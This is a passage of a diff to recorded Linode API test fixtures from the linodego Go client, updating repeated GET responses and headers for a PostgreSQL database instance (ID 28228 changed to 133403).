linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 - method: GET + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403/patch + method: POST response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", - "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + body: '{}' headers: Access-Control-Allow-Credentials: - "true" @@ -10921,23 +13499,25 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:17:43 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - databases:read_write X-Content-Type-Options: - nosniff X-Frame-Options: @@ -10946,7 +13526,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -10962,18 +13542,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -10986,16 +13566,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "758" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:17:58 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -11011,7 +13594,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -11027,18 +13610,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -11051,16 +13634,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "758" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:18:13 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -11076,7 +13662,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -11092,18 +13678,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -11116,16 +13702,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "758" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:18:28 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -11141,7 +13730,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -11157,18 +13746,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -11181,16 +13770,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "758" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:18:43 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -11206,7 +13798,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -11222,18 +13814,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -11246,16 +13838,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "758" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:18:58 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -11271,7 +13866,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -11287,18 +13882,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -11311,16 +13906,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "758" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:19:13 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -11336,7 +13934,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -11352,18 +13950,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -11376,16 +13974,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "758" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:19:28 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -11401,7 +14002,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -11417,18 +14018,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -11441,16 +14042,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "758" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:19:43 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -11466,7 +14070,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -11482,18 +14086,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -11506,16 +14110,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "758" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:19:58 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -11531,7 +14138,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -11547,18 +14154,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -11571,16 +14178,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "758" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:20:13 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -11596,7 +14206,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -11612,18 +14222,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -11636,16 +14246,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "758" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:20:28 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -11661,7 +14274,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -11677,18 +14290,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -11701,16 +14314,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "758" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:20:43 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -11726,7 +14342,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -11742,18 +14358,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", 